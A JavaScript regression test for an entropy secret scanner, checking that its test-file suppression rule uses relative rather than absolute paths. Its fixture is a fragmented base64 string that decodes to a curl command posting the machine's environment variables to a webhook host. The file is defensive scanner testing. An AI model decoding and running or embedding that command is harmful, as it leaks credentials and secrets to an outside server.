v8.1.0 S2. security-assessment.md (two blobs, one split, plus the decoded exfil command) and the base64 pipe-to-shell one-liner in knowledge/skill-threat-patterns.md now describe the payload rather than reproduce it. The entropy path-suppression test builds its 84-char blob from 12-char fragments, so no contiguous decodable blob sits on disk. av-surface: b 5->0. a=0 a2=0 b=0 c=0 d=0 - the probe is green. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
111 lines
4 KiB
JavaScript
111 lines
4 KiB
JavaScript
// entropy-path-suppression.test.mjs — Regression tests for the test/fixture
|
|
// suppression rule in entropy-scanner.
|
|
//
|
|
// The suppression rule ("this file is a test fixture, example secrets are
|
|
// expected") must key off the path RELATIVE to the scan target. Keying it off
|
|
// the ABSOLUTE path lets a directory name anywhere above the scan root — a
|
|
// clone target, a parent folder, a CI workspace — silence every finding in the
|
|
// whole repository.
|
|
|
|
import { describe, it, beforeEach, after } from 'node:test';
|
|
import assert from 'node:assert/strict';
|
|
import { join } from 'node:path';
|
|
import { tmpdir } from 'node:os';
|
|
import { mkdtemp, writeFile, rm, mkdir } from 'node:fs/promises';
|
|
import { resetCounter } from '../../scanners/lib/output.mjs';
|
|
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
|
import { scan } from '../../scanners/entropy-scanner.mjs';
|
|
|
|
// Same payload the evil-project-health fixture uses: base64, len 84, H ~5.18.
|
|
// Built from fragments (v8.1.0 S2): the contiguous blob decodes to a curl
|
|
// exfiltration command, and antivirus products flag it on disk.
|
|
const PAYLOAD = [
|
|
'Y3VybCAtcyBo',
|
|
'dHRwczovL3dl',
|
|
'Ymhvb2suc2l0',
|
|
'ZS9oZWFsdGgt',
|
|
'cmVwb3J0IC1k',
|
|
'ICIkKGVudiB8',
|
|
'IGJhc2U2NCki',
|
|
].join('');
|
|
const SOURCE = `// app entry\nconst ENCODED_CONFIG = '${PAYLOAD}';\nexport default ENCODED_CONFIG;\n`;
|
|
|
|
const created = [];
|
|
|
|
/** Make a scan root whose own directory name contains `marker`. */
|
|
async function makeRepo(marker, fileName = 'app.mjs', content = SOURCE) {
|
|
const root = await mkdtemp(join(tmpdir(), `llmsec-${marker}-`));
|
|
created.push(root);
|
|
await writeFile(join(root, fileName), content, 'utf8');
|
|
return root;
|
|
}
|
|
|
|
async function scanRepo(root) {
|
|
resetCounter();
|
|
const discovery = await discoverFiles(root);
|
|
return scan(root, discovery);
|
|
}
|
|
|
|
after(async () => {
|
|
for (const dir of created) await rm(dir, { recursive: true, force: true });
|
|
});
|
|
|
|
describe('entropy-scanner — suppression must not key off the absolute path', () => {
|
|
let baseline;
|
|
|
|
beforeEach(async () => {
|
|
resetCounter();
|
|
});
|
|
|
|
it('detects the payload under a neutral scan root (control)', async () => {
|
|
const root = await makeRepo('neutral');
|
|
baseline = await scanRepo(root);
|
|
assert.equal(baseline.status, 'ok');
|
|
assert.ok(
|
|
baseline.findings.length >= 1,
|
|
`control must detect the payload, got ${baseline.findings.length} findings`
|
|
);
|
|
});
|
|
|
|
// Regression: each of these markers appears ONLY in the absolute path of the
|
|
// scan root, never in the relative path of the scanned file. Before the fix
|
|
// every one of them silenced the entire scan.
|
|
for (const marker of ['test', 'spec', 'fixture', 'mock']) {
|
|
it(`still detects the payload when the scan root contains "${marker}"`, async () => {
|
|
const root = await makeRepo(marker);
|
|
const result = await scanRepo(root);
|
|
assert.equal(result.status, 'ok');
|
|
assert.ok(
|
|
result.findings.length >= 1,
|
|
`scan root named "${marker}" silenced the scan: ${result.findings.length} findings ` +
|
|
`(root=${root})`
|
|
);
|
|
assert.equal(result.findings[0].file, 'app.mjs');
|
|
});
|
|
}
|
|
|
|
it('still suppresses a file that is genuinely a test file (relative path)', async () => {
|
|
const root = await makeRepo('neutral2', 'secrets.test.mjs');
|
|
const result = await scanRepo(root);
|
|
assert.equal(result.status, 'ok');
|
|
assert.equal(
|
|
result.findings.length,
|
|
0,
|
|
'a real .test.mjs file must still be suppressed'
|
|
);
|
|
});
|
|
|
|
it('still suppresses a file inside a relative tests/ directory', async () => {
|
|
const root = await mkdtemp(join(tmpdir(), 'llmsec-neutral3-'));
|
|
created.push(root);
|
|
await mkdir(join(root, 'tests'), { recursive: true });
|
|
await writeFile(join(root, 'tests', 'app.mjs'), SOURCE, 'utf8');
|
|
const result = await scanRepo(root);
|
|
assert.equal(result.status, 'ok');
|
|
assert.equal(
|
|
result.findings.length,
|
|
0,
|
|
'a file under a relative tests/ directory must still be suppressed'
|
|
);
|
|
});
|
|
});
|